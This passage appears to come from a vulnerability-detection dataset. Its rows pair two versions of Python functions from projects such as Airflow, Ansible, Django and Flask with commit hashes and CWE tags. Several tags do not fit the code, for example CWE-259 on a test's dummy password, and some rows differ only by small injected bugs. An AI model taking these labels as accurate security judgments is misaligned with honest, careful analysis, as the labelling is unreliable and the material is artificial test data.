            check_last_log(session, dag_id=DAG1_ID, event=""patch_dag"", logical_date=None)",CWE-703,apache/airflow,ea128fbfa3042a93cc5d5d0e999deb963a5c3a68,"def test_patch_dags(
        self,
        test_client,
        query_params,
        body,
        expected_status_code,
        expected_ids,
        expected_paused_ids,
        session,
    ):
        response = test_client.patch(""/dags"", json=body, params=query_params)

        assert response.status_code == expected_status_code
        if expected_status_code == 200:
            body = response.json()
            assert [dag[""dag_id""] for dag in body[""dags""]] == expected_ids
            paused_dag_ids = [dag[""dag_id""] for dag in body[""dags""] if dag[""is_paused""]]
            assert paused_dag_ids == expected_paused_ids
            check_last_log(session, dag_id=DAG1_ID, event=""patch_dag"", logical_date=None)"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/urls.py,1,"def fetch_url(module, url, data=None, headers=None, method=None,
              use_proxy=True, force=False, last_mod_time=None, timeout=10):
    """"""Sends a request via HTTP(S) or FTP (needs the module as parameter)

    :arg module: The AnsibleModule (used to get username, password etc. (s.b.).
    :arg url:             The url to use.

    :kwarg data:          The data to be sent (in case of POST/PUT).
    :kwarg headers:       A dict with the request headers.
    :kwarg method:        ""POST"", ""PUT"", etc.
    :kwarg boolean use_proxy:     Default: True
    :kwarg boolean force: If True: Do not get a cached copy (Default: False)
    :kwarg last_mod_time: Default: None
    :kwarg int timeout:   Default: 10

    :returns: A tuple of (**response**, **info**). Use ``response.read()`` to read the data.
        The **info** contains the 'status' and other meta data. When a HttpError (status > 400)
        occurred then ``info['body']`` contains the error response data::

    Example::

        data={...}
        resp, info = fetch_url(module,
                               ""http://example.com"",
                               data=module.jsonify(data),
                               headers={'Content-type': 'application/json'},
                               method=""POST"")
        status_code = info[""status""]
        body = resp.read()
        if status_code >= 400 :
            body = info['body']
    """"""

    if not HAS_URLPARSE:
        module.fail_json(msg='urlparse is not installed')

    # ensure we use proper tempdir
    old_tempdir = tempfile.tempdir
    tempfile.tempdir = module.tmpdir

    # Get validate_certs from the module params
    validate_certs = module.params.get('validate_certs', True)

    username = module.params.get('url_username', '')
    password = module.params.get('url_password', '')
    http_agent = module.params.get('http_agent', 'ansible-httpget')
    force_basic_auth = module.params.get('force_basic_auth', '')

    follow_redirects = module.params.get('follow_redirects', 'urllib2')

    client_cert = module.params.get('client_cert')
    client_key = module.params.get('client_key')

    cookies = cookiejar.LWPCookieJar()

    r = None
    info = dict(url=url)
    try:
        r = open_url(url, data=data, headers=headers, method=method,
                     use_proxy=use_proxy, force=force, last_mod_time=last_mod_time, timeout=timeout,
                     validate_certs=validate_certs, url_username=username,
                     url_password=password, http_agent=http_agent, force_basic_auth=force_basic_auth,
                     follow_redirects=follow_redirects, client_cert=client_cert,
                     client_key=client_key, cookies=cookies)
        # Lowercase keys, to conform to py2 behavior, so that py3 and py2 are predictable
        info.update(dict((k.lower(), v) for k, v in r.info().items()))

        # Don't be lossy, append header values for duplicate headers
        # In Py2 there is nothing that needs done, py2 does this for us
        if PY3:
            temp_headers = {}
            for name, value in r.headers.items():
                # The same as above, lower case keys to match py2 behavior, and create more consistent results
                name = name.lower()
                if name in temp_headers:
                    temp_headers[name] = ', '.join((temp_headers[name], value))
                else:
                    temp_headers[name] = value
            info.update(temp_headers)

        # parse the cookies into a nice dictionary
        cookie_list = []
        cookie_dict = dict()
        # Python sorts cookies in order of most specific (ie. longest) path first. See ``CookieJar._cookie_attrs``
        # Cookies with the same path are reversed from response order.
        # This code makes no assumptions about that, and accepts the order given by python
        for cookie in cookies:
            cookie_dict[cookie.name] = cookie.value
            cookie_list.append((cookie.name, cookie.value))
        info['cookies_string'] = '; '.join('%s=%s' % c for c in cookie_list)

        info['cookies'] = cookie_dict
        # finally update the result with a message about the fetch
        info.update(dict(msg=""OK (%s bytes)"" % r.headers.get('Content-Length', 'unknown'), url=r.geturl(), status=r.code))
    except NoSSLError as e:
        distribution = get_distribution()
        if distribution is not None and distribution.lower() == 'redhat':
            module.fail_json(msg='%s. You can also install python-ssl from EPEL' % to_native(e))
        else:
            module.fail_json(msg='%s' % to_native(e))
    except (ConnectionError, ValueError) as e:
        module.fail_json(msg=to_native(e))
    except urllib_error.HTTPError as e:
        try:
            body = e.read()
        except AttributeError:
            body = ''

        # Try to add exception info to the output but don't fail if we can't
        try:
            info.update(dict(**e.info()))
        except:
            pass

        info.update({'msg': to_native(e), 'body': body, 'status': e.code})

    except urllib_error.URLError as e:
        code = int(getattr(e, 'code', -1))
        info.update(dict(msg=""Request failed: %s"" % to_native(e), status=code))
    except socket.error as e:
        info.update(dict(msg=""Connection failure: %s"" % to_native(e), status=-1))
    except httplib.BadStatusLine as e:
        info.update(dict(msg=""Connection failure: connection was closed before a valid response was received: %s"" % to_native(e.line), status=-1))
    except Exception as e:
        info.update(dict(msg=""An unknown error occurred: %s"" % to_native(e), status=-1),
                    exception=traceback.format_exc())
    finally:
        tempfile.tempdir = old_tempdir

    return r, info",CWE-703,ansible/ansible,3d315244af602ce107f927ea147336b378380ac2,"def fetch_url(module, url, data=None, headers=None, method=None,
              use_proxy=True, force=False, last_mod_time=None, timeout=10):
    """"""Sends a request via HTTP(S) or FTP (needs the module as parameter)

    :arg module: The AnsibleModule (used to get username, password etc. (s.b.).
    :arg url:             The url to use.

    :kwarg data:          The data to be sent (in case of POST/PUT).
    :kwarg headers:       A dict with the request headers.
    :kwarg method:        ""POST"", ""PUT"", etc.
    :kwarg boolean use_proxy:     Default: True
    :kwarg boolean force: If True: Do not get a cached copy (Default: False)
    :kwarg last_mod_time: Default: None
    :kwarg int timeout:   Default: 10

    :returns: A tuple of (**response**, **info**). Use ``response.read()`` to read the data.
        The **info** contains the 'status' and other meta data. When a HttpError (status > 400)
        occurred then ``info['body']`` contains the error response data::

    Example::

        data={...}
        resp, info = fetch_url(module,
                               ""http://example.com"",
                               data=module.jsonify(data)
                               header={'Content-type': 'application/json'},
                               method=""POST"")
        status_code = info[""status""]
        body = resp.read()
        if status_code >= 400 :
            body = info['body']
    """"""

    if not HAS_URLPARSE:
        module.fail_json(msg='urlparse is not installed')

    # ensure we use proper tempdir
    old_tempdir = tempfile.tempdir
    tempfile.tempdir = module.tmpdir

    # Get validate_certs from the module params
    validate_certs = module.params.get('validate_certs', True)

    username = module.params.get('url_username', '')
    password = module.params.get('url_password', '')
    http_agent = module.params.get('http_agent', 'ansible-httpget')
    force_basic_auth = module.params.get('force_basic_auth', '')

    follow_redirects = module.params.get('follow_redirects', 'urllib2')

    client_cert = module.params.get('client_cert')
    client_key = module.params.get('client_key')

    cookies = cookiejar.LWPCookieJar()

    r = None
    info = dict(url=url)
    try:
        r = open_url(url, data=data, headers=headers, method=method,
                     use_proxy=use_proxy, force=force, last_mod_time=last_mod_time, timeout=timeout,
                     validate_certs=validate_certs, url_username=username,
                     url_password=password, http_agent=http_agent, force_basic_auth=force_basic_auth,
                     follow_redirects=follow_redirects, client_cert=client_cert,
                     client_key=client_key, cookies=cookies)
        # Lowercase keys, to conform to py2 behavior, so that py3 and py2 are predictable
        info.update(dict((k.lower(), v) for k, v in r.info().items()))

        # Don't be lossy, append header values for duplicate headers
        # In Py2 there is nothing that needs done, py2 does this for us
        if PY3:
            temp_headers = {}
            for name, value in r.headers.items():
                # The same as above, lower case keys to match py2 behavior, and create more consistent results
                name = name.lower()
                if name in temp_headers:
                    temp_headers[name] = ', '.join((temp_headers[name], value))
                else:
                    temp_headers[name] = value
            info.update(temp_headers)

        # parse the cookies into a nice dictionary
        cookie_list = []
        cookie_dict = dict()
        # Python sorts cookies in order of most specific (ie. longest) path first. See ``CookieJar._cookie_attrs``
        # Cookies with the same path are reversed from response order.
        # This code makes no assumptions about that, and accepts the order given by python
        for cookie in cookies:
            cookie_dict[cookie.name] = cookie.value
            cookie_list.append((cookie.name, cookie.value))
        info['cookies_string'] = '; '.join('%s=%s' % c for c in cookie_list)

        info['cookies'] = cookie_dict
        # finally update the result with a message about the fetch
        info.update(dict(msg=""OK (%s bytes)"" % r.headers.get('Content-Length', 'unknown'), url=r.geturl(), status=r.code))
    except NoSSLError as e:
        distribution = get_distribution()
        if distribution is not None and distribution.lower() == 'redhat':
            module.fail_json(msg='%s. You can also install python-ssl from EPEL' % to_native(e))
        else:
            module.fail_json(msg='%s' % to_native(e))
    except (ConnectionError, ValueError) as e:
        module.fail_json(msg=to_native(e))
    except urllib_error.HTTPError as e:
        try:
            body = e.read()
        except AttributeError:
            body = ''

        # Try to add exception info to the output but don't fail if we can't
        try:
            info.update(dict(**e.info()))
        except:
            pass

        info.update({'msg': to_native(e), 'body': body, 'status': e.code})

    except urllib_error.URLError as e:
        code = int(getattr(e, 'code', -1))
        info.update(dict(msg=""Request failed: %s"" % to_native(e), status=code))
    except socket.error as e:
        info.update(dict(msg=""Connection failure: %s"" % to_native(e), status=-1))
    except httplib.BadStatusLine as e:
        info.update(dict(msg=""Connection failure: connection was closed before a valid response was received: %s"" % to_native(e.line), status=-1))
    except Exception as e:
        info.update(dict(msg=""An unknown error occurred: %s"" % to_native(e), status=-1),
                    exception=traceback.format_exc())
    finally:
        tempfile.tempdir = old_tempdir

    return r, info"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_util/controller/sanity/validate-modules/validate_modules/schema.py,0,"def f(obj):
        found = None
        for k in obj.keys():
            if k in keys:
                if found is None:
                    found = k
                else:
                    raise Invalid('Found conflicting keys, must contain only one of {}'.format(keys))
        if found is None:
            raise Invalid('Must contain one of {}'.format(keys))

        return obj",,ansible/ansible,7d678cbd96bb3a2cf1cb5fb0e064b4d9b2cf201a,"def f(obj):
        found = None
        for k in obj.keys():
            if k in keys:
                if k is None:
                    found = k
                else:
                    raise Invalid('Found conflicting keys, must contain only one of {}'.format(keys))
        if found is None:
            raise Invalid('Must contain one of {}'.format(keys))

        return obj"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        # user_tab_columns gives data default for columns
        cursor.execute(""""""
            SELECT
                column_name,
                data_default,
                CASE
                    WHEN char_used IS NULL THEN data_length
                    ELSE char_length
                END as internal_size
            FROM user_tab_cols
            WHERE table_name = UPPER(%s)"""""", [table_name])
        field_map = {
            column: (internal_size, default if default != 'NULL' else None)
            for column, default, internal_size in cursor.fetchall()
        }
        self.cache_bust_counter += 1
        cursor.execute(""SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0"".format(
            self.connection.ops.quote_name(table_name),
            self.cache_bust_counter))
        description = []
        for desc in cursor.description:
            name = force_text(desc[0])  # cx_Oracle always returns a 'str'
            internal_size, default = field_map[name]
            name = name % {}  # cx_Oracle, for some reason, doubles percent signs.
            description.append(FieldInfo(*(
                (name.lower(),) +
                desc[1:3] +
                (internal_size, desc[4] or 0, desc[5] or 0) +
                desc[6:] +
                (default,)
            )))
        return description",CWE-89,django/django,75503a823f6358892fff5aeb3691683ad9cc5a60,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        # user_tab_columns gives data default for columns
        cursor.execute(""""""
            SELECT
                column_name,
                data_default,
                CASE
                    WHEN char_used IS NULL THEN data_length
                    ELSE char_length
                END as internal_size
            FROM user_tab_cols
            WHERE table_name = UPPER(%s)"""""", [table_name])
        field_map = {
            column: (internal_size, default if default != 'NULL' else None)
            for column, default, internal_size in cursor.fetchall()
        }
        self.cache_bust_counter += 1
        cursor.execute(""SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0"".format(
            self.connection.ops.quote_name(table_name),
            self.cache_bust_counter))
        description = []
        for desc in cursor.description:
            name = force_text(desc[0])  # cx_Oracle always returns a 'str'
            internal_size, default = field_map[name]
            name = name % {}  # cx_Oracle, for some reason, doubles percent signs.
            description.append(FieldInfo(*(name.lower(),) + desc[1:3] + (internal_size,) + desc[4:] + (default,)))
        return description"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/sessions.py,0,"def save_session(self, app, session, response):
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(
                    name, domain=domain, path=path, secure=secure, samesite=samesite
                )

            return

        # Add a ""Vary: Cookie"" header if the session was accessed at all.
        if session.accessed:
            response.vary.add(""Cookie"")

        if not self.should_set_cookie(app, session):
            return

        httponly = self.get_cookie_httponly(app)
        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))
        response.set_cookie(
            name,
            val,
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )",,pallets/flask,22987b68173e9bf56cc450cb7aeb93f5480a2660,"def save_session(self, app, session, response):
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(name, domain=domain, path=path)

            return

        # Add a ""Vary: Cookie"" header if the session was accessed at all.
        if session.accessed:
            response.vary.add(""Cookie"")

        if not self.should_set_cookie(app, session):
            return

        httponly = self.get_cookie_httponly(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)
        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))
        response.set_cookie(
            name,
            val,
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/testing.py,0,"def __init__(self, orig_method):
        self.orig_method = orig_method",CWE-Unknown,tornadoweb/tornado,ed7bd3a2bd8948f8a3745582233f50d14ba86720,"def __init__(self, orig_method):
        self.orig_method = orig_method"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/_tracking_service/client.py,0,"def set_experiment_tag(self, experiment_id, key, value):
        """"""
        Set a tag on the experiment with the specified ID. Value is converted to a string.

        :param experiment_id: String ID of the experiment.
        :param key: Name of the tag.
        :param value: Tag value (converted to a string).
        """"""
        _validate_tag_name(key)
        tag = ExperimentTag(key, str(value))
        self.store.set_experiment_tag(experiment_id, tag)",,mlflow/mlflow,4315db1a184e7e8f6b7828c005620d046558750f,"def set_experiment_tag(self, experiment_id, key, value):
        """"""
        Set a tag on the experiment with the specified ID. Value is converted to a string.
        :param experiment_id: String ID of the experiment.
        :param key: Name of the tag.
        :param value: Tag value (converted to a string).
        """"""
        _validate_tag_name(key)
        tag = ExperimentTag(key, str(value))
        self.store.set_experiment_tag(experiment_id, tag)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs/scheduler_job.py,0,"def _start_queued_dagruns(
        self,
        session: Session,
    ) -> int:
        """"""Find DagRuns in queued state and decide moving them to running state""""""
        dag_runs = self._get_next_dagruns_to_examine(State.QUEUED, session)

        active_runs_of_dags = defaultdict(
            lambda: 0,
            session.query(DagRun.dag_id, func.count('*'))
            .filter(  # We use `list` here because SQLA doesn't accept a set
                # We use set to avoid duplicate dag_ids
                DagRun.dag_id.in_(list({dr.dag_id for dr in dag_runs})),
                DagRun.state == State.RUNNING,
            )
            .group_by(DagRun.dag_id)
            .all(),
        )

        def _update_state(dag_run):
            dag_run.state = State.RUNNING
            dag_run.start_date = timezone.utcnow()
            expected_start_date = dag.following_schedule(dag_run.execution_date)
            if expected_start_date:
                schedule_delay = dag_run.start_date - expected_start_date
                Stats.timing(
                    f'dagrun.schedule_delay.{dag.dag_id}',
                    schedule_delay,
                )

        for dag_run in dag_runs:
            try:
                dag = dag_run.dag = self.dagbag.get_dag(dag_run.dag_id, session=session)
            except SerializedDagNotFound:
                self.log.exception(""DAG '%s' not found in serialized_dag table"", dag_run.dag_id)
                continue
            active_runs = active_runs_of_dags[dag_run.dag_id]
            if dag.max_active_runs and active_runs >= dag.max_active_runs:
                dag_run.last_scheduling_decision = timezone.utcnow()
                self.log.debug(
                    ""DAG %s already has %d active runs, not moving any more runs to RUNNING state %s"",
                    dag.dag_id,
                    active_runs,
                    dag_run.execution_date,
                )
            else:
                active_runs_of_dags[dag_run.dag_id] += 1
                _update_state(dag_run)",CWE-Unknown,apache/airflow,430976caad5970b718e3dbf5899d4fc879c0ac89,"def _start_queued_dagruns(
        self,
        session: Session,
    ) -> int:
        """"""Find DagRuns in queued state and decide moving them to running state""""""
        dag_runs = self._get_next_dagruns_to_examine(State.QUEUED, session)

        active_runs_of_dags = defaultdict(
            lambda: 0,
            session.query(DagRun.dag_id, func.count('*'))
            .filter(  # We use `list` here because SQLA doesn't accept a set
                # We use set to avoid duplicate dag_ids
                DagRun.dag_id.in_(list({dr.dag_id for dr in dag_runs})),
                DagRun.state == State.RUNNING,
            )
            .group_by(DagRun.dag_id)
            .all(),
        )

        def _update_state(dag_run):
            dag_run.state = State.RUNNING
            dag_run.start_date = timezone.utcnow()
            expected_start_date = dag.following_schedule(dag_run.execution_date)
            if expected_start_date:
                schedule_delay = dag_run.start_date - expected_start_date
                Stats.timing(
                    f'dagrun.schedule_delay.{dag.dag_id}',
                    schedule_delay,
                )

        for dag_run in dag_runs:
            try:
                dag = dag_run.dag = self.dagbag.get_dag(dag_run.dag_id, session=session)
            except SerializedDagNotFound:
                self.log.exception(""DAG '%s' not found in serialized_dag table"", dag_run.dag_id)
                continue
            active_runs = active_runs_of_dags[dag_run.dag_id]
            if dag.max_active_runs and active_runs >= dag.max_active_runs:
                self.log.debug(
                    ""DAG %s already has %d active runs, not moving any more runs to RUNNING state %s"",
                    dag.dag_id,
                    active_runs,
                    dag_run.execution_date,
                )
            else:
                active_runs_of_dags[dag_run.dag_id] += 1
                _update_state(dag_run)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def sanitizeStr(value):
    """"""
    Sanitizes string value in respect to newline and line-feed characters

    >>> sanitizeStr('foo\\n\\rbar') == 'foo bar'
    True
    >>> sanitizeStr(None) == 'None'
    True
    """"""

    return getUnicode(value).replace(""\n"", "" "").replace(""\r"", """")",,sqlmapproject/sqlmap,c4e6c3e8548e79a5dbb762427e467d64cbd369ff,"def sanitizeStr(value):
    """"""
    Sanitizes string value in respect to newline and line-feed characters

    >>> sanitizeStr('foo\\n\\rbar') == 'foo bar'
    True
    """"""

    return getUnicode(value).replace(""\n"", "" "").replace(""\r"", """") if value else value"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_kw(self):
        response = self.fetch('/kw/foo')
        response.rethrow()
        data = json_decode(response.body)
        self.assertEqual(data, {'args': [], 'kwargs': {'path': 'foo'}})",CWE-Unknown,tornadoweb/tornado,9c26f969ab34e7fd6f27a6dc625f8b934f1a990e,"def test_kw(self):
        response = self.fetch('/kw/foo')
        response.rethrow()
        data = json_decode(response.body)
        self.assertEqual(data, {'args': [], 'kwargs': {'path': 'foo'}})"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def checkCharEncoding(encoding):
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    # http://www.destructor.de/charsets/index.htm
    translate = { 'windows-874': 'iso-8859-11', 'en_us': 'utf8' }

    for delimiter in (';', ','):
        if delimiter in encoding:
            encoding = encoding[:encoding.find(delimiter)]

    # popular typos/errors
    if '8858' in encoding:
        encoding = encoding.replace('8858', '8859')
    if encoding.startswith('8859'):
        encoding = 'iso-%s' % encoding

    # http://philip.html5.org/data/charsets-2.html
    if encoding in translate:
        encoding = translate[encoding]
    elif encoding.startswith('cp-'):
        encoding = 'cp%s' % encoding[3:]
    elif encoding.startswith('windows') and not encoding.startswith('windows-'):
        encoding = 'windows-%s' % encoding[7:]
    elif encoding == 'null':
        return None

    # http://www.iana.org/assignments/character-sets
    try:
        codecs.lookup(encoding)
    except LookupError:
        warnMsg  = ""unknown charset '%s'. "" % encoding
        warnMsg += ""Please report by e-mail to %s."" % LIST_EMAIL
        logger.warn(warnMsg)
        encoding = UNICODE_ENCODING

    return encoding",,andresriancho/w3af,762397854e90d0288081f0741fb742024217be8f,"def checkCharEncoding(encoding):
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    # http://www.destructor.de/charsets/index.htm
    translate = { 'windows-874': 'iso-8859-11', 'en_us': 'utf8' }

    for delimiter in (';', ','):
        if delimiter in encoding:
            encoding = encoding[:encoding.find(delimiter)]

    # http://philip.html5.org/data/charsets-2.html
    if encoding in translate:
        encoding = translate[encoding]
    elif encoding.startswith('iso-8858'): #very popular typo
        encoding = encoding.replace('8858', '8859')
    elif encoding.startswith('cp-'):
        encoding = 'cp%s' % encoding[3:]
    elif encoding.startswith('windows') and not encoding.startswith('windows-'):
        encoding = 'windows-%s' % encoding[7:]
    elif encoding == 'null':
        return None

    # http://www.iana.org/assignments/character-sets
    try:
        codecs.lookup(encoding)
    except LookupError:
        warnMsg  = ""unknown charset '%s'. "" % encoding
        warnMsg += ""Please report by e-mail to %s."" % LIST_EMAIL
        logger.warn(warnMsg)
        encoding = UNICODE_ENCODING

    return encoding"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_multiline_sql_statements(self):
        """"""
        Test for SQL injection through string building using
        multi-line strings.
        """"""
        example_file = ""sql_multiline_statements.py""
        confidence_low_tests = 13
        severity_medium_tests = 26
        nosec_tests = 7
        skipped_tests = 8
        expect = {
            ""SEVERITY"": {
                ""UNDEFINED"": 0,
                ""LOW"": 0,
                ""MEDIUM"": severity_medium_tests,
                ""HIGH"": 0,
            },
            ""CONFIDENCE"": {
                ""UNDEFINED"": 0,
                ""LOW"": confidence_low_tests,
                ""MEDIUM"": 13,
                ""HIGH"": 0,
            },
        }
        expect_stats = {
            ""nosec"": nosec_tests,
            ""skipped_tests"": skipped_tests,
        }
        self.check_example(example_file, expect)
        self.check_metrics(example_file, expect_stats)",UNKNOWN,PyCQA/bandit,db6d677dab5a374e1d7b0768897e5f35d372d2d9,"def test_multiline_sql_statements(self):
        """"""
        Test for SQL injection through string building using
        multi-line strings.
        """"""
        example_file = ""sql_multiline_statements.py""
        confidence_low_tests = 13
        severity_medium_tests = 26
        nosec_tests = 7
        skipped_tests = 8
        if sys.version_info[:2] <= (3, 7):
            # In the case of implicit concatenation in python 3.7,
            # we know only the first line of multi-line string.
            # Thus, cases like:
            # query = (""SELECT * ""
            #          ""FROM foo ""  # nosec
            #          f""WHERE id = {identifier}"")
            # are not skipped but reported as errors.
            confidence_low_tests = 17
            severity_medium_tests = 30
            nosec_tests = 5
            skipped_tests = 6
        expect = {
            ""SEVERITY"": {
                ""UNDEFINED"": 0,
                ""LOW"": 0,
                ""MEDIUM"": severity_medium_tests,
                ""HIGH"": 0,
            },
            ""CONFIDENCE"": {
                ""UNDEFINED"": 0,
                ""LOW"": confidence_low_tests,
                ""MEDIUM"": 13,
                ""HIGH"": 0,
            },
        }
        expect_stats = {
            ""nosec"": nosec_tests,
            ""skipped_tests"": skipped_tests,
        }
        self.check_example(example_file, expect)
        self.check_metrics(example_file, expect_stats)"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_snmp.py,1,"def test_update_agent_status_traps(self, *args):
        set_module_args(dict(
            agent_status_traps='enabled',
            password='password',
            server='localhost',
            user='admin'
        ))

        # Configure the parameters that would be returned by querying the
        # remote device
        current = ApiParameters(
            params=dict(
                agent_status_traps='disabled'
            )
        )

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.update_on_device = Mock(return_value=True)
        mm.read_current_from_device = Mock(return_value=current)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['agent_status_traps'] == 'enabled'","CWE-259, CWE-703",ansible/ansible,49f34fec13c31a20681129537ea39109554378a7,"def test_update_agent_status_traps(self, *args):
        set_module_args(dict(
            agent_status_traps='enabled',
            password='passsword',
            server='localhost',
            user='admin'
        ))

        # Configure the parameters that would be returned by querying the
        # remote device
        current = ApiParameters(
            params=dict(
                agent_status_traps='disabled'
            )
        )

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.update_on_device = Mock(return_value=True)
        mm.read_current_from_device = Mock(return_value=current)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['agent_status_traps'] == 'enabled'"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/kubernetes/pod_generator.py,0,"def construct_pod(  # pylint: disable=too-many-arguments
        dag_id: str,
        task_id: str,
        pod_id: str,
        try_number: int,
        kube_image: str,
        date: datetime.datetime,
        args: List[str],
        pod_override_object: Optional[k8s.V1Pod],
        base_worker_pod: k8s.V1Pod,
        namespace: str,
        scheduler_job_id: int,
    ) -> k8s.V1Pod:
        """"""
        Construct a pod by gathering and consolidating the configuration from 3 places:
            - airflow.cfg
            - executor_config
            - dynamic arguments
        """"""
        try:
            image = pod_override_object.spec.containers[0].image  # type: ignore
            if not image:
                image = kube_image
        except Exception:  # pylint: disable=W0703
            image = kube_image

        dynamic_pod = k8s.V1Pod(
            metadata=k8s.V1ObjectMeta(
                namespace=namespace,
                annotations={
                    'dag_id': dag_id,
                    'task_id': task_id,
                    'execution_date': date.isoformat(),
                    'try_number': str(try_number),
                },
                name=PodGenerator.make_unique_pod_id(pod_id),
                labels={
                    'airflow-worker': make_safe_label_value(str(scheduler_job_id)),
                    'dag_id': make_safe_label_value(dag_id),
                    'task_id': make_safe_label_value(task_id),
                    'execution_date': datetime_to_label_safe_datestring(date),
                    'try_number': str(try_number),
                    'airflow_version': airflow_version.replace('+', '-'),
                    'kubernetes_executor': 'True',
                },
            ),
            spec=k8s.V1PodSpec(
                containers=[
                    k8s.V1Container(
                        name=""base"",
                        args=args,
                        image=image,
                        env=[k8s.V1EnvVar(name=""AIRFLOW_IS_K8S_EXECUTOR_POD"", value=""True"")],
                    )
                ]
            ),
        )

        # Reconcile the pods starting with the first chronologically,
        # Pod from the pod_template_File -> Pod from executor_config arg -> Pod from the K8s executor
        pod_list = [base_worker_pod, pod_override_object, dynamic_pod]

        return reduce(PodGenerator.reconcile_pods, pod_list)",CWE-Unknown,apache/airflow,41e0e199187f5d1c032a2e0323d7ba4d4e2ee2a9,"def construct_pod(  # pylint: disable=too-many-arguments
        dag_id: str,
        task_id: str,
        pod_id: str,
        try_number: int,
        kube_image: str,
        date: datetime.datetime,
        args: List[str],
        pod_override_object: Optional[k8s.V1Pod],
        base_worker_pod: k8s.V1Pod,
        namespace: str,
        scheduler_job_id: int,
    ) -> k8s.V1Pod:
        """"""
        Construct a pod by gathering and consolidating the configuration from 3 places:
            - airflow.cfg
            - executor_config
            - dynamic arguments
        """"""
        try:
            image = pod_override_object.spec.containers[0].image  # type: ignore
            if not image:
                image = kube_image
        except Exception:  # pylint: disable=W0703
            image = kube_image

        task_id = make_safe_label_value(task_id)
        dag_id = make_safe_label_value(dag_id)
        scheduler_job_id = make_safe_label_value(str(scheduler_job_id))

        dynamic_pod = k8s.V1Pod(
            metadata=k8s.V1ObjectMeta(
                namespace=namespace,
                annotations={
                    'dag_id': dag_id,
                    'task_id': task_id,
                    'execution_date': date.isoformat(),
                    'try_number': str(try_number),
                },
                name=PodGenerator.make_unique_pod_id(pod_id),
                labels={
                    'airflow-worker': scheduler_job_id,
                    'dag_id': dag_id,
                    'task_id': task_id,
                    'execution_date': datetime_to_label_safe_datestring(date),
                    'try_number': str(try_number),
                    'airflow_version': airflow_version.replace('+', '-'),
                    'kubernetes_executor': 'True',
                },
            ),
            spec=k8s.V1PodSpec(
                containers=[
                    k8s.V1Container(
                        name=""base"",
                        args=args,
                        image=image,
                        env=[k8s.V1EnvVar(name=""AIRFLOW_IS_K8S_EXECUTOR_POD"", value=""True"")],
                    )
                ]
            ),
        )

        # Reconcile the pods starting with the first chronologically,
        # Pod from the pod_template_File -> Pod from executor_config arg -> Pod from the K8s executor
        pod_list = [base_worker_pod, pod_override_object, dynamic_pod]

        return reduce(PodGenerator.reconcile_pods, pod_list)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/core/test_config.py,0,"def test_bad_yaml(self):
        f = self.useFixture(TempFile(""[]""))
        try:
            self.config = config.BanditConfig(f.name)
        except utils.ConfigError as e:
            self.assertIn(""Error parsing file."", e.message)",UNKNOWN,PyCQA/bandit,438bc0d5a3f3025d99763aa11c3694ace97683ee,"def test_bad_yaml(self):
        f = self.useFixture(TempFile(""[]""))
        try:
            self.config = config.BanditConfig(f.name)
        except utils.ConfigError as e:
            self.assertTrue(""Error parsing file."" in e.message)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_inlines/tests.py,0,"def test_custom_min_num(self):
        """"""
        Ensure that get_min_num is called and used correctly.
        """"""
        bt_head = BinaryTree.objects.create(name=""Tree Head"")
        BinaryTree.objects.create(name=""First Child"", parent=bt_head)

        class MinNumInline(TabularInline):
            model = BinaryTree
            extra = 3

            def get_min_num(self, request, obj=None, **kwargs):
                if obj:
                    return 5
                return 2

        modeladmin = ModelAdmin(BinaryTree, admin_site)
        modeladmin.inlines = [MinNumInline]

        min_forms = '<input id=""id_binarytree_set-MIN_NUM_FORMS"" name=""binarytree_set-MIN_NUM_FORMS"" type=""hidden"" value=""%d"" />'
